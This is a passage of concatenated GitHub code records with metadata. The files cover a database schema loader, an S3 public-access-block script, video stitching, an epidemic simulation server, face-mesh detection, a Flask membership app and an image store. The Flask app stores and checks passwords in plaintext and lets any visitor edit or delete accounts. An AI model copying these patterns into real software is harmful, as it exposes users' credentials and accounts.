KEYDOWN:\n\t\t\twaiting = False\n\t\t\treturn LETTERS[event.key-97]\n\t\t\t\"\"\"\n\t\t\tif key_value:\n\t\t\t\tif event.key == key_value:\n\t\t\t\t\twaiting = False\n\t\t\t\telif LETTERS[event.key-97] == key_value.upper():\n\t\t\t\t\twaiting = False\n\t\t\telse:\n\t\t\t\twaiting = False\n\t\t\t\"\"\"\n", "repo_name": "JohnSchlerf/MRI-tools", "sub_path": "ImageStacker/SimpleUI.py", "file_name": "SimpleUI.py", "file_ext": "py", "file_size_in_byte": 547, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "pygame.event.wait", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 11, "usage_type": "attribute"}]} {"seq_id": "3363997359", "text": "from os import getenv\nfrom dotenv import load_dotenv\nimport pyodbc\nfrom collections import namedtuple\nfrom datetime import date\nimport numpy as np\nimport pandas as pd\nimport math\nfrom sys import argv\n\n\nclass DB:\n\t_TABLE_ATTRS = [\n\t 'ORDINAL_POSITION', 'COLUMN_NAME', 'DATA_TYPE',\n\t 'CHARACTER_MAXIMUM_LENGTH', 'IS_NULLABLE', 'COLUMN_DEFAULT', 'PK_POSITION'\n\t]\n\t_CATALOG = None\n\t_SCHEMA = None\n\n\tdef __init__(self):\n\t\tload_dotenv()\n\t\tself._CATALOG = getenv('DB_TABLE_CATALOG')\n\t\tself._SCHEMA = getenv('DB_TABLE_SCHEMA')\n\n\tdef get_schema_name(self):\n\t\treturn self._SCHEMA\n\n\nclass DBExt(DB):\n\t__cnxn = None\n\n\tdef __init__(self):\n\t\tDB.__init__(self)\n\t\tDB_SERVER = getenv('DB_SERVER')\n\t\tDB_UID = getenv('DB_UID')\n\t\tDB_PWD = getenv('DB_PWD')\n\n\t\tself.__cnxn = pyodbc.connect(f'''\n\t\t\tDRIVER={{ODBC Driver 17 for SQL Server}};\n\t\t\tSERVER={DB_SERVER};\n\t\t\tDATABASE={self._CATALOG};\n\t\t\tUID={DB_UID};\n\t\t\tPWD={DB_PWD};\n\t\t''')\n\n\tdef __del__(self):\n\t\tif (self.__cnxn != None):\n\t\t\tself.__cnxn.close()\n\n\tdef load_table_attrs(self, table_name):\n\t\tquery = f'''\n\t\t\tSELECT c.ORDINAL_POSITION AS ORDINAL_POSITION,\n\t\t\t\t\tc.COLUMN_NAME AS COLUMN_NAME,\n\t\t\t\t\tc.DATA_TYPE AS DATA_TYPE,\n\t\t\t\t\tc.CHARACTER_MAXIMUM_LENGTH AS CHARACTER_MAXIMUM_LENGTH,\n\t\t\t\t\tc.IS_NULLABLE AS IS_NULLABLE,\n\t\t\t\t\tc.COLUMN_DEFAULT AS COLUMN_DEFAULT,\n\t\t\t\t\t(\n\t\t\t\t\t\tSELECT ORDINAL_POSITION\n\t\t\t\t\t\tFROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE AS pk\n\t\t\t\t\t\tWHERE (\n\t\t\t\t\t\t\tpk.TABLE_CATALOG = c.TABLE_CATALOG AND\n\t\t\t\t\t\t\tpk.TABLE_SCHEMA = c.TABLE_SCHEMA AND\n\t\t\t\t\t\t\tpk.TABLE_NAME = c.TABLE_NAME AND\n\t\t\t\t\t\t\tpk.COLUMN_NAME = c.COLUMN_NAME AND\n\t\t\t\t\t\t\tpk.CONSTRAINT_NAME = ?\n\t\t\t\t\t\t)\n\t\t\t\t\t) AS PK_POSITION\n\t\t\t\tFROM INFORMATION_SCHEMA.COLUMNS AS c\n\t\t\t\tWHERE (\n\t\t\t\t\tc.TABLE_CATALOG = ? AND\n\t\t\t\t\tc.TABLE_SCHEMA = ? AND\n\t\t\t\t\tc.TABLE_NAME = ?\n\t\t\t\t)\n\t\t\t\tORDER BY ORDINAL_POSITION;\n\t\t'''\n\t\tcursor = self.__cnxn.cursor()\n\t\tcursor.execute(query, f'CPK_{table_name}', self._CATALOG, self._SCHEMA, table_name)\n\n\t\tattrs = []\n\t\twhile True:\n\t\t\tdata_row = cursor.fetchone()\n\t\t\tif not data_row:\n\t\t\t\tbreak\n\t\t\tattrs.append(data_row)\n\t\tif len(attrs) > 0:\n\t\t\tattrs_save = pd.DataFrame(np.array(attrs),\n\t\t\t columns=self._TABLE_ATTRS)\n\t\t\tattrs_save.to_csv(f'./dbcache/{table_name}.csv', index=False)\n\n\nclass DBCache(DB):\n\tdef get_table_attrs(self, table_name):\n\t\tAttribute = namedtuple('Attribute', self._TABLE_ATTRS, defaults=(None,) * len(self._TABLE_ATTRS))\n\t\tdf = pd.read_csv(f'./dbcache/{table_name}.csv', index_col=0)\n\t\tdata = df.values.tolist()\n\t\tattrs = [Attribute(i, *x) for (i, x) in enumerate(data)]\n\t\treturn attrs\n\n\nif __name__ == '__main__':\n\ttry:\n\t\ttable_name = argv[1]\n\texcept:\n\t\tprint('SyntaxError: invalid syntax')\n\t\tprint('usage: python db.py table_name')\n\t\tquit()\n\n\tdb = DBExt()\n\tdb.load_table_attrs(table_name=table_name)", "repo_name": "ish-101/EF-Copy", "sub_path": "db.py", "file_name": "db.py", "file_ext": "py", "file_size_in_byte": 2845, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 21, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 22, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 23, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 34, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 35, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 36, "usage_type": "call"}, {"api_name": "pyodbc.connect", "line_number": 38, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 87, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 94, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 95, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 103, "usage_type": "name"}]} {"seq_id": "36965196364", "text": "from urllib import response\nimport boto3\nfrom botocore.exceptions import ClientError\n\nSession = boto3.Session()\ns3 = boto3.client('s3', region_name='eu-west-1')\nresponse = s3.list_buckets()\n\nfor bucket in response['Buckets']:\n #block public access\n try:\n bpa = s3.get_public_access_block(Bucket = bucket['Name'])\n print('Bucket: %s, BlockPublicAccess: %s' % (bucket['Name'], bpa))\n except ClientError as e:\n if e.response['Error']['Code'] == 'NoSuchPublicAccessBlockConfiguration':\n print('Bucket: %s, no block public access' % (bucket['Name']))\n s3.put_public_access_block(\n Bucket = bucket['Name'],\n PublicAccessBlockConfiguration={\n 'BlockPublicAcls': True,\n 'IgnorePublicAcls': True,\n 'BlockPublicPolicy': True,\n 'RestrictPublicBuckets': True\n }\n )\n else:\n print(\"Bucket: %s, unexpected error: %s\" % (bucket['Name'], e))\n", "repo_name": "dfoley84/Python", "sub_path": "boto3/S3/S3BlockPublicAccess.py", "file_name": "S3BlockPublicAccess.py", "file_ext": "py", "file_size_in_byte": 1027, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "boto3.Session", "line_number": 5, "usage_type": "call"}, {"api_name": "boto3.client", "line_number": 6, "usage_type": "call"}, {"api_name": "urllib.response", "line_number": 7, "usage_type": "name"}, {"api_name": "urllib.response", "line_number": 9, "usage_type": "name"}, {"api_name": "botocore.exceptions.ClientError", "line_number": 14, "usage_type": "name"}]} {"seq_id": "18575113529", "text": "import os\nimport cv2\nDATA_DIR = '../data'\nOUTPUT_DIR = '../output'\nSCALE_FACTOR = 1/2\n\n# 打开本地视频文件或网络摄像头，并播放视频\ndef OpenAndPlayVideoFile(filename1,filename2):\n total=0\n vw = None\n i=0\n\n try:\n print(\"======to start play video file...\")\n # 使用OpenCV自带的VideoCapture()函数定义视频文件对象，网络摄像机本质上可以看作远程网络视频文件\n cap = cv2.VideoCapture(filename1)\n cap_2 = cv2.VideoCapture(filename2)\n\n # 循环读取每一帧\n while (cap.isOpened() and cap_2.isOpened()):\n total = total + 1\n # 第一个返回值result是一个布尔值，表示当前这一帧是否获取正确\n (result, result_2), (frame, frame_2) = zip(cap.read(), cap_2.read())\n\n frame = cv2.resize(frame, dsize=(0, 0),\n fx=SCALE_FACTOR, fy=SCALE_FACTOR)\n frame_2 = cv2.resize(frame_2, dsize=(0, 0),\n fx=SCALE_FACTOR, fy=SCALE_FACTOR)\n\n images = []\n images.append(frame)\n images.append(frame_2)\n\n\n stitcher = cv2.Stitcher_create(cv2.STITCHER_SCANS)\n if len(images) <=1:\n continue\n status, stitched = stitcher.stitch(images)\n if status == 0:\n # out_path = os.path.join(OUTPUT_DIR, 'stitched.png')\n # cv2.imwrite(out_path, stitched)\n stitched = cv2.resize(stitched, dsize=(0, 0),\n fx=10*SCALE_FACTOR, fy=10*SCALE_FACTOR)\n cv2.imshow(\"Stitched\", stitched)\n cv2.waitKey(1)\n else:\n print(\"Stitching failed, retake images\")\n\n # 读取视频文件结束时，退出播放\n if not result:\n print('play end...')\n break\n\n # 释放视频文件或摄像头资源\n vw.release()\n cap.release()\n cap_2.release()\n # 销毁所有窗口，释放资源\n cv2.destroyAllWindows()\n print(\"end...\")\n except Exception as e:\n # 访问异常的错误编号和详细信息\n print(str(e))\n\n\nif __name__ == '__main__':\n # 打开网络摄像头播放\n url1 = '11.mp4'\n url2 = '12.mp4'\n\n OpenAndPlayVideoFile(url1, url2)", "repo_name": "SHIDi233/OwlSystem-DangerBehaviorDetect", "sub_path": "detect-yolov5/stitching/test by shy.py", "file_name": "test by shy.py", "file_ext": "py", "file_size_in_byte": 2363, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "cv2.VideoCapture", "line_number": 16, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 25, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.Stitcher_create", "line_number": 35, "usage_type": "call"}, {"api_name": "cv2.STITCHER_SCANS", "line_number": 35, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 42, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 44, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 45, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 59, "usage_type": "call"}]} {"seq_id": "25249057443", "text": "from mesa.visualization.modules import CanvasGrid, ChartModule\nfrom mesa.visualization.ModularVisualization import ModularServer\nfrom mesa.visualization.UserParam import UserSettableParameter\n\n\nfrom .model import infection_model\n\n\ndef portrayCell(cell):\n '''\n This function is registered with the visualization server to be called\n each tick to indicate how to draw the cell in its current state.\n :param cell: the cell in the simulation\n :return: the portrayal dictionary.\n '''\n if cell is None:\n return\n portrayal = {\"Shape\": \"rect\", \"w\": 1, \"h\": 1, \"Filled\": \"true\", \"Layer\": 0, \"x\": cell.x, \"y\": cell.y}\n \n if cell.isSusceptible:\n portrayal[\"Color\"] = \"white\" \n elif cell.isInfected:\n portrayal[\"Color\"] = \"red\"\n elif cell.isRecovered:\n portrayal[\"Color\"] = \"green\"\n elif cell.isQuarantined:\n portrayal[\"Color\"] = \"yellow\"\n elif cell.isDead:\n portrayal[\"Color\"] = \"black\"\n\n\n \n return portrayal\n\n\n# Make a world that is 50x50, on a 500x500 display.\ncanvas_element = CanvasGrid(portrayCell, 50, 50, 500, 500)\n\n# The two graphs that are displayed in the web socket\ncell_chart = ChartModule([{\"Label\": \"Fraction Infected\", \"Color\": 'Red'},\n {\"Label\": \"Fraction Quarantined\", \"Color\": 'Yellow'}],\n canvas_height=500, canvas_width=1000)\ncell_chart2 = ChartModule([{\"Label\": \"Fraction Recovered\", \"Color\": 'Green'},\n {\"Label\": \"Fraction Dead\", \"Color\": 'Black'}],\n canvas_height=500, canvas_width=1000)\n\n# The parameters that can be set a priori by the user in the web socket\nmodel_params = {\n \"height\": 50,\n \"width\": 50,\n \"dummy\": UserSettableParameter(\"static_text\", value = '''Use 'Reset'-button to activate new model settings \n \\n White cells are Susceptible individuals\n \\n Red cells are Infected individuals\n \\n Green cells are Recovered individuals\n \\n Yellow cells are Infected but Quarantined individuals'''),\n \"density\": UserSettableParameter(\"slider\", \"Initial density\", 0.1, 0.01, 1.0, 0.01),\n \"p_inf\": UserSettableParameter(\"slider\", \"Probability of infection\", 0.1, 0.01, 1.0, 0.01),\n \"p_rec\": UserSettableParameter(\"slider\", \"Probability of recovery\", 0.1, 0.01, 1.0, 0.01),\n \"p_reinf\": UserSettableParameter(\"slider\", \"Probability of reinfection\", 0.01, 0.0, 1.0, 0.01),\n \"p_death\": UserSettableParameter(\"slider\", \"Probability of death\", 0.02, 0.0, 1.0, 0.01),\n \"p_test\": UserSettableParameter(\"slider\", \"Testing rate of population\", 0.05, 0.0, 1.0, 0.01),\n \"test_n\": UserSettableParameter(\"checkbox\", \"Test Neighbors\", value = True),\n \"hood\" : UserSettableParameter(\"choice\", \"Neighborhood\", value= \"Moore\", \n choices= [\"Moore\", \"Von Neumann\"])}\n\n# Command that runs the server\nserver = ModularServer(infection_model, [canvas_element, cell_chart, cell_chart2], \"SIR basic model\", model_params)\n", "repo_name": "vlpreda1/CA_SIR_model", "sub_path": "SIR_Model/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 3130, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "mesa.visualization.modules.CanvasGrid", "line_number": 37, "usage_type": "call"}, {"api_name": "mesa.visualization.modules.ChartModule", "line_number": 40, "usage_type": "call"}, {"api_name": "mesa.visualization.modules.ChartModule", "line_number": 43, "usage_type": "call"}, {"api_name": "mesa.visualization.UserParam.UserSettableParameter", "line_number": 51, "usage_type": "call"}, {"api_name": "mesa.visualization.UserParam.UserSettableParameter", "line_number": 56, "usage_type": "call"}, {"api_name": "mesa.visualization.UserParam.UserSettableParameter", "line_number": 57, "usage_type": "call"}, {"api_name": "mesa.visualization.UserParam.UserSettableParameter", "line_number": 58, "usage_type": "call"}, {"api_name": "mesa.visualization.UserParam.UserSettableParameter", "line_number": 59, "usage_type": "call"}, {"api_name": "mesa.visualization.UserParam.UserSettableParameter", "line_number": 60, "usage_type": "call"}, {"api_name": "mesa.visualization.UserParam.UserSettableParameter", "line_number": 61, "usage_type": "call"}, {"api_name": "mesa.visualization.UserParam.UserSettableParameter", "line_number": 62, "usage_type": "call"}, {"api_name": "mesa.visualization.UserParam.UserSettableParameter", "line_number": 63, "usage_type": "call"}, {"api_name": "mesa.visualization.ModularVisualization.ModularServer", "line_number": 67, "usage_type": "call"}, {"api_name": "model.infection_model", "line_number": 67, "usage_type": "argument"}]} {"seq_id": "23989688094", "text": "import cv2\nimport mediapipe as mp\nimport math\nimport numpy as np\n\nclass faceMeshDetection:\n def __init__(self, staticMode=False, maxFaces=1, minDetectionCon=0.5, minTrackCon=0.5):\n self.staticMode = staticMode\n self.maxFaces = maxFaces\n self.minDetectionCon = minDetectionCon\n self.minTrackCon = minTrackCon\n\n self.mpDraw = mp.solutions.drawing_utils\n self.mpFaceMesh = mp.solutions.face_mesh\n self.faceMesh = self.mpFaceMesh.FaceMesh(static_image_mode=self.staticMode,\n max_num_faces=self.maxFaces,\n min_detection_confidence=self.minDetectionCon,\n min_tracking_confidence=self.minTrackCon)\n self.drawSpec = self.mpDraw.DrawingSpec(thickness=1, circle_radius=2)\n\n def findFaceMesh(self, img, draw=True):\n imgRGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n results = self.faceMesh.process(imgRGB)\n faces = []\n for faceLms in results.multi_face_landmarks:\n if draw:\n self.mpDraw.draw_landmarks(img, faceLms, self.mpFaceMesh.FACEMESH_CONTOURS,\n self.drawSpec, self.drawSpec)\n face = np.array([[int(lm.x * img.shape[1]), int(lm.y * img.shape[0])] for lm in faceLms.landmark])\n faces.append(face)\n return img, faces\n\n\n @staticmethod\n def findDistance(p1, p2, img=None):\n x1, y1 = p1\n x2, y2 = p2\n cx, cy = (x1 + x2) // 2, (y1 + y2) // 2\n length = np.hypot(x2 - x1, y2 - y1)\n info = (x1, y1, x2, y2, cx, cy)\n if img is not None:\n cv2.circle(img, (x1, y1), 15, (255, 0, 255), cv2.FILLED)\n cv2.circle(img, (x2, y2), 15, (255, 0, 255), cv2.FILLED)\n cv2.line(img, (x1, y1), (x2, y2), (255, 0, 255), 3)\n cv2.circle(img, (cx, cy), 15, (255, 0, 255), cv2.FILLED)\n return length, info, img\n else:\n return length, info\n\n\ndef main():\n cap = cv2.VideoCapture(0)\n detector = FaceMeshDetector(maxFaces=2)\n while True:\n success, img = cap.read()\n img, faces = detector.findFaceMesh(img)\n if faces:\n print(faces[0])\n cv2.imshow(\"Image\", img)\n cv2.waitKey(1)\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "masanbasa3k/Blink-Counter", "sub_path": "faceMeshModule.py", "file_name": "faceMeshModule.py", "file_ext": "py", "file_size_in_byte": 2377, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "69", "api": [{"api_name": "mediapipe.solutions", "line_number": 13, "usage_type": "attribute"}, {"api_name": "mediapipe.solutions", "line_number": 14, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 22, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 22, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.hypot", "line_number": 39, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 42, "usage_type": "call"}, {"api_name": "cv2.FILLED", "line_number": 42, "usage_type": "attribute"}, {"api_name": "cv2.circle", "line_number": 43, "usage_type": "call"}, {"api_name": "cv2.FILLED", "line_number": 43, "usage_type": "attribute"}, {"api_name": "cv2.line", "line_number": 44, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 45, "usage_type": "call"}, {"api_name": "cv2.FILLED", "line_number": 45, "usage_type": "attribute"}, {"api_name": "cv2.VideoCapture", "line_number": 52, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 59, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 60, "usage_type": "call"}]} {"seq_id": "26594409918", "text": "from flask import request, render_template, redirect, Blueprint, session\nfrom member.models.mem_model import Service, Member\n\nbp = Blueprint('member', __name__, url_prefix='/member')\n\nservice = Service()\n\n@bp.route('/list')\ndef list():\n mlist = service.getAll()\n return render_template('member/list.html', mlist=mlist)\n\n@bp.route('/join')\ndef joinForm():\n return render_template('member/form.html')\n\n@bp.route('/join', methods=['POST'])\ndef join():\n id = request.form['id']\n pwd = request.form['pwd']\n name = request.form['name']\n email = request.form['email']\n service.addMember(Member(id, pwd, name, email))\n return redirect('/member/list')\n\n@bp.route('/get/')\ndef get(id):\n m:Member = service.getMember(id)\n return render_template('member/detail.html', m=m)\n\n@bp.route('/edit', methods=['POST'])\ndef edit():\n id = request.form['id']\n pwd = request.form['pwd']\n service.editMember(Member(id=id, pwd=pwd))\n return redirect('/member/list')\n\n@bp.route('/del/')\ndef delete(id):\n service.delMember(id)\n return redirect('/member/logout')\n\n@bp.route('/login')\ndef loginForm():\n return render_template('member/login.html')\n\n@bp.route('/login', methods=['POST'])\ndef login():\n id = request.form['id']\n pwd = request.form['pwd']\n m:Member = service.getMember(id)\n msg = ''\n if m==None:\n msg = '없는 아이디'\n else:\n if m.pwd == pwd:\n session['login_id']=id # 뷰페이지에서 표현: {{session.login_id}}\n session['flag']=True\n else:\n msg = '패스워드 불일치'\n session['msg'] = msg\n return redirect('/member/list')\n\n@bp.route('/logout')\ndef logout():\n session['flag'] = False\n session.pop('login_id') #로그아웃\n session.pop('msg')\n return redirect('/member/list')", "repo_name": "yoozung/Study-Python", "sub_path": "member/routes/mem_route.py", "file_name": "mem_route.py", "file_ext": "py", "file_size_in_byte": 1839, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Blueprint", "line_number": 4, "usage_type": "call"}, {"api_name": "member.models.mem_model.Service", "line_number": 6, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 11, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 15, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 19, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 19, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 20, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 20, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 21, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 21, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 22, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 22, "usage_type": "name"}, {"api_name": "member.models.mem_model.Member", "line_number": 23, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 24, "usage_type": "call"}, {"api_name": "member.models.mem_model.Member", "line_number": 28, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 29, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 33, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 33, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 34, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 34, "usage_type": "name"}, {"api_name": "member.models.mem_model.Member", "line_number": 35, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 45, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 49, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 49, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 50, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 50, "usage_type": "name"}, {"api_name": "member.models.mem_model.Member", "line_number": 51, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 57, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 58, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 61, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 62, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 66, "usage_type": "name"}, {"api_name": "flask.session.pop", "line_number": 67, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 67, "usage_type": "name"}, {"api_name": "flask.session.pop", "line_number": 68, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 68, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 69, "usage_type": "call"}]} {"seq_id": "9164721500", "text": "# encoding: utf-8\nimport random, os, magic, Image, base64, struct, time, mimetypes\nfrom flask import redirect\nfrom flask.helpers import send_file\nfrom util import check_store_key\nfrom simples3 import S3Bucket\n\ndef unique_id():\n return base64.urlsafe_b64encode(struct.pack('fHH', time.time(), os.getpid() % 65536, random.randint(0, 65535))).replace('=', '')\n\n# http://united-coders.com/christian-harms/image-resizing-tips-every-coder-should-know/\ndef resize(img, box, fit, out, quality=75):\n '''Downsample the image.\n @param img: Image - an Image-object\n @param box: tuple(x, y) - the bounding box of the result image\n @param fix: boolean - crop the image to fill the box\n @param out: file-like-object - save the image into the output stream\n '''\n # preresize image with factor 2, 4, 8 and fast algorithm\n factor = 1\n while img.size[0] / factor > 2 * box[0] and img.size[1] * 2 / factor > 2 * box[1]:\n factor *= 2\n if factor > 1:\n img.thumbnail((img.size[0] / factor, img.size[1] / factor), Image.NEAREST)\n\n # calculate the cropping box and get the cropped part\n if fit:\n x1 = y1 = 0\n x2, y2 = img.size\n wRatio = 1.0 * x2 / box[0]\n hRatio = 1.0 * y2 / box[1]\n if hRatio > wRatio:\n y1 = int(y2 / 2 - box[1] * wRatio / 2)\n y2 = int(y2 / 2 + box[1] * wRatio / 2)\n else:\n x1 = int(x2 / 2 - box[0] * hRatio / 2)\n x2 = int(x2 / 2 + box[0] * hRatio / 2)\n img = img.crop((x1, y1, x2, y2))\n\n # Resize the image with best quality algorithm ANTI-ALIAS\n img.thumbnail(box, Image.ANTIALIAS)\n\n # save it into a file-like object\n img.save(out, \"JPEG\", quality=quality)\n\nclass StoreError (StandardError):\n def __init__(self, msg):\n super(msg)\n\nclass NotFoundError (StoreError):\n pass\n\nclass Store:\n \"\"\" return some key name \"\"\"\n def save(self, fp, mimetype, filename):\n raise NotImplementedError\n\n def get(self, dest_fp):\n raise NotImplementedError\n\n def deliver_image(self, key, size):\n raise NotImplementedError\n\n def delete(self, key):\n raise NotImplementedError\n\nclass LocalStore:\n def __init__(self, root):\n self.root = root\n\n def save(self, fp, mimetype='application/octet-stream'):\n key = unique_id()\n filename = self.root + '/' + key\n with open(filename, 'w') as dest:\n dest.write(fp.read())\n return key\n\n def thumbnail_path(self, key, size):\n check_store_key(key)\n return self.root + '/' + key + ('_%sx%s' % (size))\n\n def path(self, key):\n check_store_key(key)\n return self.root + '/' + key\n\n def create_thumbnail(self, key, size):\n check_store_key(key)\n image = Image.open(self.path(key))\n with open(self.thumbnail_path(key, size), 'w') as out:\n resize(image, size, False, out)\n\n def deliver_image(self, key, size=None):\n check_store_key(key)\n if size != None:\n path = self.thumbnail_path(key, size)\n try:\n os.stat(path)\n except OSError:\n self.create_thumbnail(key, size)\n return self.deliver_file(self.thumbnail_path(key, size))\n else:\n return self.deliver_file(self.path(key))\n\n def deliver_file(self, path):\n return send_file(path, magic.from_file(path))\n\n def delete(self, key):\n check_store_key(key)\n os.remove(self.path(key))\n\nclass FileCache:\n def __init__(self, cache_dir='/tmp/tamaraw/image_cache'):\n self.cache_dir = cache_dir\n\n def path(self, key):\n return self.cache_dir + '/' + key\n \n def __contains__(self, key):\n try:\n os.stat(self.path(key))\n return True\n except OSError:\n return False\n \n def open(self, key, mode='r'):\n return open(self.path(key), mode)\n \n # the idea is to call this from a cron job\n # this function should analyze an nginx log file and determine which\n # images should be cached, possibly evicting seldomly requested ones\n # and downloading additional ones which have dropped out of the cache.\n # this is necessary because the s3 store class only fills the cache\n # when convenient\n def manage(self, log_file, max_size):\n raise NotImplementedError\n\nclass SimpleS3Store(Store):\n def __init__(self, credentials, bucket, baseurl, logger, prefix, cache=FileCache()):\n self.credentials = credentials\n self.bucket_name = bucket\n self.prefix = prefix\n self.logger = logger\n self.baseurl = baseurl\n self.cache = cache\n\n # TODO is simples3.S3Bucket safe to re-use?\n def bucket(self):\n return S3Bucket(str(self.bucket_name),\n str(self.credentials['aws_access_key_id']),\n str(self.credentials['aws_secret_access_key']),\n str(self.baseurl)) \n \n def thumbnail_key(self, key, size):\n return key + ('_%sx%s' % (size))\n \n def default_headers(self, filename):\n return {'Content-Disposition': 'inline; filename=%s' % (filename,),\n 'Cache-Control': 'public max-age=86400'}\n\n def create_thumbnail(self, key, size):\n b = self.bucket()\n s3_key = self.prefix + key\n thumb_key = self.thumbnail_key(key, size)\n\n if key in self.cache:\n in_tmp = self.cache.open(key + '.jpg')\n else:\n # todo guess correct extension\n in_tmp = self.cache.open(key + '.jpg', 'w+b')\n in_tmp.write(b.get(s3_key).read())\n in_tmp.seek(0)\n try:\n img = Image.open(in_tmp)\n out_tmp = self.cache.open(thumb_key + '.jpg', 'w+b')\n try:\n resize(img, size, False, out_tmp)\n out_tmp.seek(0)\n thumb_s3_key = self.prefix + thumb_key\n b.put(thumb_s3_key, out_tmp.read(), mimetype='image/jpeg',\n headers=self.default_headers(thumb_s3_key))\n finally:\n out_tmp.close()\n finally:\n in_tmp.close()\n\n def deliver_image(self, key, size=None):\n check_store_key(key)\n if size:\n b = self.bucket()\n try:\n thumb_s3_key = self.prefix + self.thumbnail_key(key, size) \n b.info(thumb_s3_key)\n except KeyError:\n self.create_thumbnail(key, size)\n return self.deliver_file(thumb_s3_key)\n else:\n return self.deliver_file(self.prefix + key)\n\n def deliver_file(self, s3_key):\n # check again if it's in the cache. if a thumbnail was newly\n # created, it is now locally available. TODO guess extension?\n key_no_prefix = s3_key.replace(self.prefix, '')\n exts = ('.jpg', '.png')\n for ext in exts:\n cache_key = key_no_prefix + ext\n if cache_key in self.cache:\n mimetype, _ = mimetypes.guess_type(cache_key)\n return send_file(self.cache.path(cache_key), mimetype) \n url = self.bucket().make_url_authed(s3_key, 3600)\n return redirect(url, 307)\n\n def save(self, fp, mimetype='application/octet-stream'):\n key_name = unique_id()\n s3_key = self.prefix + key_name\n # \".jpe\" would have been my first choice for naming jpegs.. not\n ext = mimetypes.guess_extension(mimetype).replace('jpe', 'jpg')\n content = fp.read()\n with self.cache.open(key_name + ext, 'w') as cache_file:\n cache_file.write(content)\n self.bucket().put(s3_key, content, mimetype=mimetype,\n headers=self.default_headers(s3_key + ext))\n return key_name\n\n def delete(self, key):\n check_store_key(key)\n b = self.bucket()\n for s3_key, _, _, _ in b.listdir(self.prefix + key):\n self.logger.info('deleting s3 key %s', s3_key)\n b.delete(s3_key)\n", "repo_name": "mschuetz/tamaraw", "sub_path": "src/tamaraw/storage.py", "file_name": "storage.py", "file_ext": "py", "file_size_in_byte": 8056, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "69", "api": [{"api_name": "base64.urlsafe_b64encode", "line_number": 9, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 9, "usage_type": "call"}, {"api_name": "time.time", "line_number": 9, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 9, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 9, "usage_type": "call"}, {"api_name": 